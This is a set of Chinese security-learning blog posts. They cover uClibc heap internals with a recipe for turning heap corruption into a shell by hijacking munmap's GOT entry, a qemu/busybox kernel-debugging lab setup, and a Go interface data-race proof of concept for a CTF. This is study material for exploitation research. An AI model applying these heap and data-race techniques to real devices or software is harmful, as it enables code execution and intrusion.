分类 Learning 下的文章

0x00 Before

审计固件的时候碰到了一个mips64下uClibc堆管理利用的问题,恰巧网络上关于这个的分析不是很多,于是研究了一下。并不是很全面,做个索引,若有进一步了解时继续补全。

0x01 何为uClibc?

面向百度百科的废话

uClibc 是一个面向嵌入式Linux系统的小型的C标准库。最初uClibc是为了支持uClinux而开发,这是一个不需要内存管理单元的Linux版本,因此适合于微控制器系统。

uClibc比一般用于Linux发行版的C库GNU C Library (glibc)要小得多,glibc目标是要支持最大范围的硬件和内核平台的所有C标准,而uClibc专注于嵌入式Linux.很多功能可以根据空间需求进行取舍。

uClibc运行于标准的以及无MMU的Linux系统上,支持i386,x86 64,ARM (big/little endian), AVR32,Blackfin,h8300,m68k,MIPS (big/little endian), PowerPC,SuperH (big/little endian), SPARC,和v850等处理器。

人话

对于某些架构的嵌入式硬件,需要一个低开销的C标准库实现,于是uClibc就出现了。但是由于其实现方式与glibc差别较大,所以利用思路上需要一些转变。好在uClibc没有傻大笨glibc的各种检查,利用思路较为简单明确。

0x02 内存管理器

关于uClibc利用分析首当其冲的就是mallocfree等内存管理函数的实现。事实上通过观察其源码可以发现,uClibc中malloc有三种实现,包括malloc, malloc-simplemalloc-standard。其中 malloc-standard 是最近更新的。它就是把早期 glibcdlmalloc 移植到了 uClibc中。本文关于利用的分析重点在malloc

malloc-simple

在这个版本的内存管理逻辑中,内存的分配和释放几乎就一一对应了mmapmunmap...

malloc()

[libc/stdlib/malloc-simple/alloc.c]

#ifdef L_malloc
void *malloc(size_t size)
{
    void *result;

    if (unlikely(size == 0)) {
#if defined(__MALLOC_GLIBC_COMPAT__)
        size++;
#else
        /* Some programs will call malloc (0).  Lets be strict and return NULL */
        __set_errno(ENOMEM);
        return NULL;
#endif
    }

#ifdef __ARCH_USE_MMU__
# define MMAP_FLAGS MAP_PRIVATE | MAP_ANONYMOUS
#else
# define MMAP_FLAGS MAP_SHARED | MAP_ANONYMOUS | MAP_UNINITIALIZED
#endif

    result = mmap((void *) 0, size + sizeof(size_t), PROT_READ | PROT_WRITE,
                  MMAP_FLAGS, 0, 0);
    if (result == MAP_FAILED) {
        __set_errno(ENOMEM);
        return 0;
    }
    * (size_t *) result = size;
    return(result + sizeof(size_t));
}
#endif

可以发现size没有做过多检查和处理就进了mmap的参数,而返回的地址则由mmap决定,并不存在一个特定的heap

free()

[libc/stdlib/malloc-simple/alloc.c]

#ifdef L_free
void free(void *ptr)
{
    if (unlikely(ptr == NULL))
        return;
    if (unlikely(__libc_free_aligned != NULL)) {
        if (__libc_free_aligned(ptr))
            return;
    }
    ptr -= sizeof(size_t);
    munmap(ptr, * (size_t *) ptr + sizeof(size_t));
}
#endif

直接调用了munmap

malloc-standard

我分析的固件使用的是这个机制

location: libc/stdlib/malloc-standard/*

相对而言malloc-standard较为复杂,具体逻辑可以直接参考dlmalloc

malloc

这个版本我愿称之为“无敌大套娃”

malloc()

使用malloc函数时发生了如下调用链

void *malloc (size_t size) [libc/stdlib/malloc/malloc.c]

mem = malloc_from_heap (size, &__malloc_heap, &__malloc_heap_lock);

__malloc_from_heap (size_t size, struct heap_free_area **heap) [libc/stdlib/malloc/malloc.c]

尝试使用__heap_alloc获取堆区中管理的已释放的内存:

 /* First try to get memory that's already in our heap.  */
  mem = __heap_alloc (heap, &size);

__heap_alloc (struct heap_free_area **heap, size_t *size) [libc/stdlib/malloc/heap_alloc.c]

/* Allocate and return a block at least *SIZE bytes long from HEAP.
   *SIZE is adjusted to reflect the actual amount allocated (which may be
   greater than requested).  */
void *
__heap_alloc (struct heap_free_area **heap, size_t *size)
{
  struct heap_free_area *fa;
  size_t _size = *size;
  void *mem = 0;

  _size = HEAP_ADJUST_SIZE (_size);

  if (_size < sizeof (struct heap_free_area))
    /* Because we sometimes must use a freed block to hold a free-area node,
       we must make sure that every allocated block can hold one.  */
    _size = HEAP_ADJUST_SIZE (sizeof (struct heap_free_area));

  HEAP_DEBUG (*heap, "before __heap_alloc");

  /* Look for a free area that can contain _SIZE bytes.  */
  for (fa = *heap; fa; fa = fa->next)
    if (fa->size >= _size)
      {
    /* Found one!  */
    mem = HEAP_FREE_AREA_START (fa);
    *size = __heap_free_area_alloc (heap, fa, _size);
    break;
      }

  HEAP_DEBUG (*heap, "after __heap_alloc");

  return mem;
}

如果请求的size小于下面结构体的大小会被自动扩大(原因见注释):

/* A free-list area `header'.  These are actually stored at the _ends_ of
   free areas (to make allocating from the beginning of the area simpler),
   so one might call it a `footer'.  */
struct heap_free_area
{
    size_t size;
    struct heap_free_area *next, *prev;
};
注意这个结构体在被free的块的底部,这很重要

然后就是在一条链表(就是一开始传入的&__malloc_heap)上遍历查找第一个size大于等于请求size的节点进入一个内联函数__heap_free_area_alloc [libc/stdlib/malloc/heap.h]:

static __inline__ size_t
__heap_free_area_alloc (struct heap_free_area **heap,
            struct heap_free_area *fa, size_t size)
{
  size_t fa_size = fa->size;

  if (fa_size < size + HEAP_MIN_FREE_AREA_SIZE)
    /* There's not enough room left over in FA after allocating the block, so
       just use the whole thing, removing it from the list of free areas.  */
    {
      __heap_delete (heap, fa);
      /* Remember that we've alloced the whole area.  */
      size = fa_size;
    }
  else
    /* Reduce size of FA to account for this allocation.  */
    fa->size = fa_size - size;

  return size;
}

该函数判断分配掉目标大小的size之后,剩余体积是否足够HEAP_MIN_FREE_AREA_SIZE,不够的话就整个从链表中取出(使用的双链表unlink),否则只取出对应大小的部分内存(切割)。

如果你有疑问:为啥在切割是不涉及链表操作?

那么请往上看:struct heap_free_area这个区域在freed区域的底部,只需要修改其中的size,然后把需要的mem取出,就完成了一次切割,节省了很多链表操作,提高了效率。

...

回到__malloc_from_heap,假如没有足够大小的freed区域用于取出,则会用mmap或者sbrk的方式向操作系统取得一块新的内存,具体使用mmap还是sbrk取决于编译时使用的宏:

#ifdef MALLOC_USE_SBRK
//如果用sbrk
      __malloc_lock_sbrk ();

      /* Use sbrk we can, as it's faster than mmap, and guarantees
     contiguous allocation.  */
      block = sbrk (block_size);
      if (likely (block != (void *)-1))
    {
      /* Because sbrk can return results of arbitrary
         alignment, align the result to a MALLOC_ALIGNMENT boundary.  */
      long aligned_block = MALLOC_ROUND_UP ((long)block, MALLOC_ALIGNMENT);
      if (block != (void *)aligned_block)
        /* Have to adjust.  We should only have to actually do this
           the first time (after which we will have aligned the brk
           correctly).  */
        {
          /* Move the brk to reflect the alignment; our next allocation
         should start on exactly the right alignment.  */
          sbrk (aligned_block - (long)block);
          block = (void *)aligned_block;
        }
    }

      __malloc_unlock_sbrk ();

#else /* !MALLOC_USE_SBRK */

      /* Otherwise, use mmap.  */
#ifdef __ARCH_USE_MMU__
      block = mmap ((void *)0, block_size, PROT_READ | PROT_WRITE,
            MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
#else
      block = mmap ((void *)0, block_size, PROT_READ | PROT_WRITE,
            MAP_SHARED | MAP_ANONYMOUS | MAP_UNINITIALIZED, 0, 0);
#endif

注意mem在返回到用户前会经过下列宏处理,以设置malloc_header,并让mem指向用户区域:

/* Set up the malloc header, and return the user address of a malloc block. */
#define MALLOC_SETUP(base, size)  \
  (MALLOC_SET_SIZE (base, size), (void *)((char *)base + MALLOC_HEADER_SIZE))

free

有了malloc的逻辑,free的逻辑也差不多明晰了

void free (void *mem) [libc/stdlib/malloc/free.c]

static void __free_to_heap (void *mem, struct heap_free_area **heap) [libc/stdlib/malloc/free.c]

首先调用__heap_free把被free的内存放入链中:

  /* Put MEM back in the heap, and get the free-area it was placed in.  */
  fa = __heap_free (heap, mem, size);

struct heap_free_area *__heap_free (struct heap_free_area **heap, void *mem, size_t size) [libc/stdlib/malloc/hewp_free.c]

/* Return the block of memory at MEM, of size SIZE, to HEAP.  */
struct heap_free_area *
__heap_free (struct heap_free_area **heap, void *mem, size_t size)
{
  struct heap_free_area *fa, *prev_fa;
    /* 此时的mem经过MALLOC_BASE宏处理,指向MALLOC_HADER */
  void *end = (char *)mem + size;

  HEAP_DEBUG (*heap, "before __heap_free");

  /* Find the right position in the free-list entry to place the new block.
     This is the most speed critical loop in this malloc implementation:
     since we use a simple linked-list for the free-list, and we keep it in
     address-sorted order, it can become very expensive to insert something
     in the free-list when it becomes fragmented and long.  [A better
     implemention would use a balanced tree or something for the free-list,
     though that bloats the code-size and complexity quite a bit.]  */

  /* 空闲区域链表是按照地址从小到大排列的,这个循环是为了找到 mem 应该插入的位置 */
  for (prev_fa = 0, fa = *heap; fa; prev_fa = fa, fa = fa->next)
      /* 遍历判断fa的尾部是否大于被free的内存的头部 */
    if (unlikely (HEAP_FREE_AREA_END (fa) >= mem))
      break;

    /* 判断fa的头部是否小于等于被free内存的尾部(这里包含了部分overlap的情况?) */
  if (fa && HEAP_FREE_AREA_START (fa) <= end)
    /* The free-area FA is adjacent to the new block, merge them.  */
    {
      size_t fa_size = fa->size + size;
    /* 出现首尾相接 */
      if (HEAP_FREE_AREA_START (fa) == end)
    /* FA is just after the new block, grow down to encompass it. */
    {
      /* See if FA can now be merged with its predecessor. */
      /* 判断free的内存是否刚好卡在prev_fa和fa之间,是则将三个块合并,作为一个新节点 */
      if (prev_fa && mem == HEAP_FREE_AREA_END (prev_fa))
        /* Yup; merge PREV_FA's info into FA.  */
        {
          fa_size += prev_fa->size;
          __heap_link_free_area_after (heap, fa, prev_fa->prev);
        }
    }
      else
          /* 个人感觉这部分实现有些逻辑错误,正在招专业人员求证,有结果了细化一下 */
    /* FA is just before the new block, expand to encompass it. */
    {
      struct heap_free_area *next_fa = fa->next;

      /* See if FA can now be merged with its successor. */

      if (next_fa && end == HEAP_FREE_AREA_START (next_fa))
        /* Yup; merge FA's info into NEXT_FA.  */
        {
          fa_size += next_fa->size;
          __heap_link_free_area_after (heap, next_fa, prev_fa);
          fa = next_fa;
        }
      else
        /* FA can't be merged; move the descriptor for it to the tail-end
           of the memory block.  */
        {
          /* The new descriptor is at the end of the extended block,
         SIZE bytes later than the old descriptor.  */
          fa = (struct heap_free_area *)((char *)fa + size);
          /* Update links with the neighbors in the list.  */
          __heap_link_free_area (heap, fa, prev_fa, next_fa);
        }
    }
        /* 设置新节点的size */
      fa->size = fa_size;
    }
  else
    /* Make the new block into a separate free-list entry.  */
    /* 如果fa和 mem之间有空隙或者 mem> HEAP_FREE_AREA_END (fa),那么可以简单地把 mem 插入 prev_fa 和 fa之间 */
    fa = __heap_add_free_area (heap, mem, size, prev_fa, fa);

  HEAP_DEBUG (*heap, "after __heap_free");

  return fa;
}
看注释

这段代码主要处理被释放内存在入链时的合并和插入

0x03 利用思路

前置知识

uClibc中没有类似Glibc那样的__free_hook__malloc_hook的机制,但是部分函数间调用使用了类似got表的机制,这里可以看反汇编后的结果:

关于这块这么设计的原因我不太清楚...

既然如此,那么如果能通过任意地址写改libuClibc.so中某些函数的got的地址也许就可以借助system("/bin/sh\x00")来getshell。

不过要与程序本身的got表区分,如果程序已经导入了某些函数符号,直接修改掉so中这些函数符号的got是不能影响程序本身调用的目标的。(重要)

.got:00000000000A8510  # Segment type: Pure data
.got:00000000000A8510                 .data # .got
.got:00000000000A8510 off_A8510:      .dword ___libc_stack_end
.got:00000000000A8510                                          # DATA XREF: _setjmp+4↑o
.got:00000000000A8510                                          # setjmp+4↑o ...
.got:00000000000A8518                 .dword 0x8000000000000000
.got:00000000000A8520 off_A8520:      .dword qword_AA1B0       # DATA XREF: brk+24↑r
.got:00000000000A8528 off_A8528:      .dword sub_5C5C0         # DATA XREF: __sigsetjmp_aux+3C↑r
.got:00000000000A8530                 .dword sub_64730
.got:00000000000A8538                 .dword sub_647F8
.got:00000000000A8540 memcpy_ptr:     .dword memcpy
.got:00000000000A8548 off_A8548:      .dword loc_20000         # DATA XREF: vwarn+C↑r
.got:00000000000A8548                                          # vwarnx+C↑r
.got:00000000000A8550 exit_ptr:       .dword exit
.got:00000000000A8558 open_ptr:       .dword open              # DATA XREF: creat+C↑r
...

malloc-simple

很明显,释放内存的munmap是一个很好的攻击目标,它的第一个参数正好是一个字符串指针,并且可控程度很高,如果能劫持其got表就可以爽歪歪了。

malloc

大部分操作都是一个基本没啥保护的双链表的操作,而且负责管理链表的heap_free_area在每个内存块的末尾。意味着如果有UAF的和堆溢出情况下可以修改free_size,然后取出被修改的节点造成向低地址的overlap。

在取出内存的过程中存在分割操作,如果可以找到目标区域附近某些值作为free_size(最好特别大),然后修改链表的某个next指针到这。当申请内存合适的时候可以拿到目标区域的内存。注意这种利用方式不能触发__heap_delete,否则容易出错。

malloc-standard

由于这种分配器只有fastbinunsortedbin两种结构,并且检查很稀松,所以大部分ptmalloc的知识可以迁移过来。并且伪造fastbin并取出时不检查目标区域的size...这简直给了和tcache一样的大方便。

刨除这部分,重点讲下怎么getshell(因为没有各种hook)...

源码宏太多,这里直接看反编译:

void free(void *__ptr)

{
  longlong *plVar1;
  uint uVar2;
  ulonglong uVar3;
  ulonglong uVar4;
  longlong lVar5;
  ulonglong chunk_true_size;
  longlong total_size;
  longlong chunk_header_ptr;
  ulonglong chunk_size;
  longlong lVar6;
  undefined auStack64 [32];
  undefined1 *local_10;

  if (__ptr == (void *)0x0) {
    return;
  }
  local_10 = &_gp_1;
  _pthread_cleanup_push_defer(auStack64,pthread_mutex_unlock,&DAT_001a82e0);
  pthread_mutex_lock((pthread_mutex_t *)&DAT_001a82e0);
  chunk_size = *(ulonglong *)((longlong)__ptr + -8);
  chunk_true_size = chunk_size & 0xfffffffffffffffc;
  chunk_header_ptr = (longlong)__ptr + -0x10;
  if (DAT_001c2cd8 < chunk_true_size) {
    uVar4 = DAT_001c2cd8 | 1;
    if ((chunk_size & 2) != 0) {
      DAT_001c3370 = DAT_001c3370 + -1;
      total_size = chunk_true_size + *(longlong *)((longlong)__ptr + -0x10);
      _DAT_001c3388 = _DAT_001c3388 - total_size;
      /* 注意这里 */
      munmap((void *)(chunk_header_ptr - *(longlong *)((longlong)__ptr + -0x10)),(size_t)total_size)
      ;
      goto LAB_0015d85c;
......

当chunk-sized大于一个阈值(不同版本可能不同,我这里是0x50)并且is_mmap标志位为1时,会把chunk_header_ptr-prev_size的地址送入munmap中。

假设我们有办法覆盖munmap的got表为system,那么如果控制参数为"/bin/sh\x00"?

这是我的一种思路:

  1. 控制prev_size0xfffffffffffffff0 (-10)
  2. 控制size为0x63(大于阈值且is_mmap位和inuse位为1)
  3. 在用户区域开头写入"/bin/sh\x00"

这样当进入munmap时就相当于执行了system("/bin/sh\x00")

参考链接:

https://blog.csdn.net/heliangbin87/article/details/78962425

https://blog.csdn.net/weixin_30596165/article/details/96114098

前言

环境搭建在虚拟机ubuntu16.04下进行(vm配置开启cpu虚拟化)

一般内核调试需要的东西就是内核镜像磁盘镜像,不同版本的内核就用不同版本的内核镜像。而需要什么文件就调整磁盘镜像。

安装依赖

sudo apt-get update
sudo apt-get install qemu git libncurses5-dev fakeroot build-essential ncurses-dev xz-utils libssl-dev bc

内核镜像

下载内核源码:

linux各个版本内核源码可以从这下载:https://www.kernel.org/

这里用这个版本:https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.15.tar.gz

解压进入

tar -xzvf linux-4.15.tar.gz
cd linux-4.15

设置编译选项

make menuconfig

勾选以下项目:

  1. Kernel debugging
  2. Compile-time checks and compiler options —> Compile the kernel with debug info和Compile the kernel with frame pointers
  3. KGDB

然后保存退出

开始编译

make bzImage

成功信息类似这样:

Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready  (#1)

从源码根目录取到vmlinux,从arch/x86/boot/取到bzImage

磁盘镜像

编译busybox

BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件。BusyBox 包含了一些简单的工具,例如ls、cat和echo等等,还包含了一些更大、更复杂的工具,例grep、find、mount以及telnet。有些人将 BusyBox 称为 Linux 工具里的瑞士军刀。简单的说BusyBox就好像是个大工具箱,它集成压缩了 Linux 的许多工具和命令,也包含了 Android 系统的自带的shell。

这里busybox的作用主要是搭建一个简易的initranfs

下载源码:https://busybox.net/

用1.28.4测试:http://busybox.net/downloads/busybox-1.28.4.tar.bz2

解压进入目录:

tar jxvf busybox-1.28.4.tar.bz2
cd busybox-1.28.4

设置编译选项:

选中:Build static binary (no shared libs)

开始编译:

make install -j4

打包出rootfs.img磁盘镜像

busybox编译完成后,进入源码目录下新增的_install目录

先建立好文件系统:

cd _install
mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}

运行:vim etc/inittab

添加以下内容:

::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

运行:mkdir etc/init.d;vim etc/init.d/rcS

添加以下内容:

#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -s

还可以在fs根目录创建init文件,写入初始化指令,并添加执行权限:

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
# insmod /xxx.ko # load ko
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
# exec /bin/sh #root

这一步主要配置各种目录的挂载

添加执行权限:chmod +x ./etc/init.d/rcS

打包出rootfs.img

_install目录下执行:

find . | cpio -o --format=newc > ~/core/rootfs.img
gzip -c ~/core/rootfs.img > ~/core/rootfs.img.gz

文件系统镜像被打包存放在了/home/{username}/core/目录下

用qemu启动

配置启动参数

创建一个新的目录将准备好的bzImagerootfs.img放入,然后编写一个boot.sh

boot.sh的编写可以参考qemu的各个参数:

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

部分参数解释:

  • -m 指定内存大小
  • -kernel 指定内核镜像路径
  • -initrd 指定磁盘镜像路径
  • -s 是GDB调试参数,默认会开启1234端口便于remote调试
  • cpu 该选项可以指定保护模式

运行boot.sh即可启动系统

几种常见的保护

canary, dep, PIE, RELRO 等保护与用户态原理和作用相同
  • smep: Supervisor Mode Execution Protection,当处理器处于 ring0 模式,执行 用户空间 的代码会触发页错误。(在 arm 中该保护称为 PXN)

  • smap: Superivisor Mode Access Protection,类似于 smep,通常是在访问数据时。

  • mmap_min_addr

如何向其中添加文件?

方法1

  1. 解压磁盘镜像:cpio -idv < ./initramfs.img

  2. 重打包:find . | cpio -o --format=newc > ../new_rootfs.img

方法2

借助base64编码从shell中直接写入(适用于写exp等)

GDB调试



一般只需要设置好架构然后remote一下就行,如果是非x86的架构可能要用gdb-multiarch

gdb
pwndbg> set arch i386:x86-64
pwndbg> target remote localhost:1234


查看函数地址



需要先设置init文件获得root权限,如下:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh
umount /proc
umount /sys
poweroff -d 0  -f


这里重点在于利用setuidgid 0创建一个root shell

然后同样boot后输入cat /proc/kallsyms可以显示出内核中所有的函数符号和对应地址,在gdb中下断即可

例如可以断在这个函数:cat /proc/kallsyms | grep get_user_pages,下断后尝试执行ls就可以停住了

加载第三方ko



CTF比赛中经常需要加载内核模块*.ko,其实很简单,只需要运行insmod xxx.ko就行

关键在于有的ko需要指定内核版本

可以使用apt download 相应内核的deb包,然后解包得到bzImage

例如:apt download linux-image-4.15.0-22-generic

然后在fs中的init脚本加上insmod xxx.ko即可

载入系统后可以使用lsmod来查看载入的ko以及他的所在的内核地址

调试ko



关闭内核模块地址随机化:nokaslr

写个脚本用来快速启动gdb并设置相应参数,节省时间:

#!/bin/sh
gdb \
-ex "target remote localhost:1234" \
-ex "continue" \
-ex "disconnect" \
-ex "set architecture i386:x86-64:intel" \
-ex "target remote localhost:1234" \
-ex "add-symbol-file ./busybox/baby.ko 0xdeadbeef" \


qemu pci设备相关



查看PCI设备信息



qemu逃逸常常是因为加载了自定义的PCI设备,可以在qemu启动参数参数的-device项中看出。

进入qemu-system环境后,执行如下命令来获取pci设备信息:

  1. lspci: 显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备基本信息;


ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)


Q: 如何确定哪个是我们要分析的Device?

最右边的值如1234:11e9vendor_id:device,可以在IDA中查看xxxx_class_init函数来确定设备的vendor_id:device。然后进入系统中使用lspci,就可以对应上了。


注意xx:yy:z的格式为总线:设备:功能的格式!

也可以通过-t-v参数以树状显示:

ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0  Intel Corporation 440FX - 82441FX PMC [Natoma]
           +-01.0  Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
           +-01.1  Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
           +-01.3  Intel Corporation 82371AB/EB/MB PIIX4 ACPI
           +-02.0  Device 1234:1111
           +-03.0  Device 1234:11e9
           \-04.0  Intel Corporation 82540EM Gigabit Ethernet Controller


其中[0000]表示pci的域, PCI域最多可以承载256条总线。 每条总线最多可以有32个设备,每个设备最多可以有8个功能。

VendorIDsDeviceIDs、以及Class Codes字段区分出不同的设备,可以用以下参数查看:

ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class:  00ff
Vendor: 1234
Device: 11e9
SVendor:        1af4
SDevice:        1100
PhySlot:        3
Rev:    10

ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class:  Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor:        Red Hat, Inc
SDevice:        Device 1100
PhySlot:        3 
Rev:    10


通过-x参数可以查看设备的内存空间:

ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        /*这里显示的是MMIO空间的基址和大小*/
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        /*这里显示的是PMIO空间的基址和大小*/
        I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00



sudo lshw -businfo: 获取详细设备信息

  • sudo cat /proc/iomem: 查看各种设备占用的地址空间(包括内存和reversed区域);

  • sudo cat /sys/devices/pci0000:00/[设备编号]/resource: 查看设备配置空间,其中设备编号可以在lspci中看到,例如:sudo cat /sys/devices/pci0000:00/0000:00:07.1/resource.

  • 0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
    0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    

    每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。

    配置空间中的数据起始就是记录设备相关信息的数据,如上面提到的VendorIDsDeviceIDs、和Class Codes字段等...

    除了resource文件,还有resource0(MMIO空间)以及resource1(PMIO空间)


    引用博客:

    1. https://veritas501.space/2018/06/03/kernel%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/#more

    2. https://eternalsakura13.com/2020/07/11/kernel_qemu/#more

    3. https://eternalsakura13.com/2018/04/13/qemu/

    一道google题

    golang相关

    一些特性

    • golang默认是静态编译,而且系统ASLR不作用在goroutine自己实现和维护的栈上。从这题上看,main调用了hack,所以对hack的改动不会影响main中数据在栈上的偏移。只要先在本地计算出hack第一个变量和flag之间的偏移,就可以计算出远程环境中flag在栈上的位置。
    • goroutine的模型大概如下(知乎看到的):

      • goroutine与系统线程模型
      • M是系统线程,P是上下文,G是一个goroutine。具体实现请移步:https://www.zhihu.com/question/20862617
      • 创建goroutine很容易,只需要go function_name()即可
    • 题目不允许import包,但是builtin包中有println可以用来打印信息(打印变量地址或值)

    go中的数据结构

    实现本题要用到的数据结构不多,只介绍go中常用于data race的数据结构

    更详细的资料请移步文档:https://studygolang.com/pkgdoc

    Struct

    基本定义如下:

    type struct_name struct {
        name type
    }
    

    Go 语言中没有类的概念,因此在 Go 中结构体有着更为重要的地位。结构体是复合类型(composite types),当需要定义一个类型,它由一系列属性组成,每个属性都有自己的类型和值的时候,就应该使用结构体,它把数据聚集在一起。

    Interface

    interface是一组method的集合,是duck-type programming的一种体现。接口做的事情就像是定义一个协议(规则),只要一台机器有洗衣服和甩干的功能,我就称它为洗衣机。不关心属性(数据),只关心行为(方法)。

    接口(interface)也是一种类型。

    一个对象只要全部实现了接口中的方法,那么就实现了这个接口。换句话说,接口就是一个需要实现的方法列表。

    例子:

    // Sayer 接口
    type Sayer interface {
        say()
    }
    
    type dog struct {}
    
    type cat struct {}
    
    // dog实现了Sayer接口
    func (d dog) say() {
        fmt.Println("汪汪汪")
    }
    
    // cat实现了Sayer接口
    func (c cat) say() {
        fmt.Println("喵喵喵")
    }
    
    func main() {
        var x Sayer // 声明一个Sayer类型的变量x
        a := cat{}  // 实例化一个cat
        b := dog{}  // 实例化一个dog
        x = a       // 可以把cat实例直接赋值给x
        x.say()     // 喵喵喵
        x = b       // 可以把dog实例直接赋值给x
        x.say()     // 汪汪汪
    }
    

    可以看到,实现了接口方法的结构体变量可以赋值给接口变量,然后可以用该接口来调用被实现的方法。

    值接收者和指针接收者实现接口的区别(这里不是很清楚,建议自己查):

    当值接收者实现接口:

    func (d dog) move() {
        fmt.Println("狗会动")
    }
    
    func main() {
        var x Mover
        var wangcai = dog{} // 旺财是dog类型
        x = wangcai         // x可以接收dog类型
        var fugui = &dog{}  // 富贵是*dog类型
        x = fugui           // x可以接收*dog类型
        x.move()
    }
    

    可以发现:使用值接收者实现接口之后,不管是dog结构体还是结构体指针*dog类型的变量都可以赋值给该接口变量。因为Go语言中有对指针类型变量求值的语法糖,dog指针fugui内部会自动求值*fugui

    注意

    当指针接收者实现接口:

    func (d *dog) move() {
        fmt.Println("狗会动")
    }
    func main() {
        var x Mover
        var wangcai = dog{} // 旺财是dog类型
        x = wangcai         // x不可以接收dog类型
        var fugui = &dog{}  // 富贵是*dog类型
        x = fugui           // x可以接收*dog类型
    }
    

    此时实现Mover接口的是*dog类型,所以不能给x传入dog类型的wangcai,此时x只能存储*dog类型的值。

    Slice

    切片是数组的一个引用,因此切片是引用类型。但自身是结构体,值拷贝传递。

    切片的底层数据结构:

    type slice struct {  
        array unsafe.Pointer
        len   int
        cap   int
    }
    

    array是被引用的数组的指针,len是引用长度,cap是最大长度(也就是数组的长度)

    Data race

    比赛结束的时候查到这篇博客:http://wiki.m4p1e.com/article/getById/90

    以及它的引用(讲得比较好,建议看这个):https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html

    这两篇博客解释了data race的原理

    interface既然可以接收不同的实现了接口方法的接口题变量,那么它一定是一种更为抽象的数据结构,我将其粗略描述为如下:

    type Interface struct{
        type **uintptr
        data **uintptr
    }
    

    所以在给接口变量传值的过程中实际上发生了两次数据转移操作,一次转移到type,一次转移到data。而这个转移操作并不是原子的。意味着,如果在一个goroutine中频繁对接口变量交替传值,在另一个goroutine中调用该接口的方法,就可能出现下面的情况:

    • (正常)type和data正好都是A或B struct的type和data
    • (异常)type和data分别是A和B struct的type和data,如下:
    {
        type --> B type
        data --> A date --> value f
    }
    

    而调用接口时是通过判断type来确定方法的具体实现,这就出现了调用B实现的方法来操作A中数据的错误情况。

    看博客中的例子就明白了:

    package main
    
    import (
        "fmt"
        "os"
        "runtime"
        "strconv"
    )
    
    func address(i interface{}) int {
        addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
        if err != nil {
            panic(err)
        }
        return int(addr)
    }
    
    type itf interface {
        X()
    }
    
    type safe struct {
        f *int
    }
    
    func (s safe) X() {}
    
    type unsafe struct {
        f func()
    }
    
    func (u unsafe) X() {
        if u.f != nil {
            u.f()
        }
    }
    
    func win() {
        fmt.Println("win", i, j)
        os.Exit(1)
    }
    
    var i, j int
    
    func main() {
        if runtime.NumCPU() < 2 {
            fmt.Println("need >= 2 CPUs")
            os.Exit(1)
        }
        var confused, good, bad itf
        pp := address(win)
        good = &safe{f: &pp}
        bad = &unsafe{}
        confused = good
        go func() {
            for {
                confused = bad
                func() {
                    if i >= 0 { 
                        return
                    }
                    fmt.Println(confused)
                }()
                confused = good
                i++
            }
        }()
        for {
            confused.X()
            j++
        }
    }
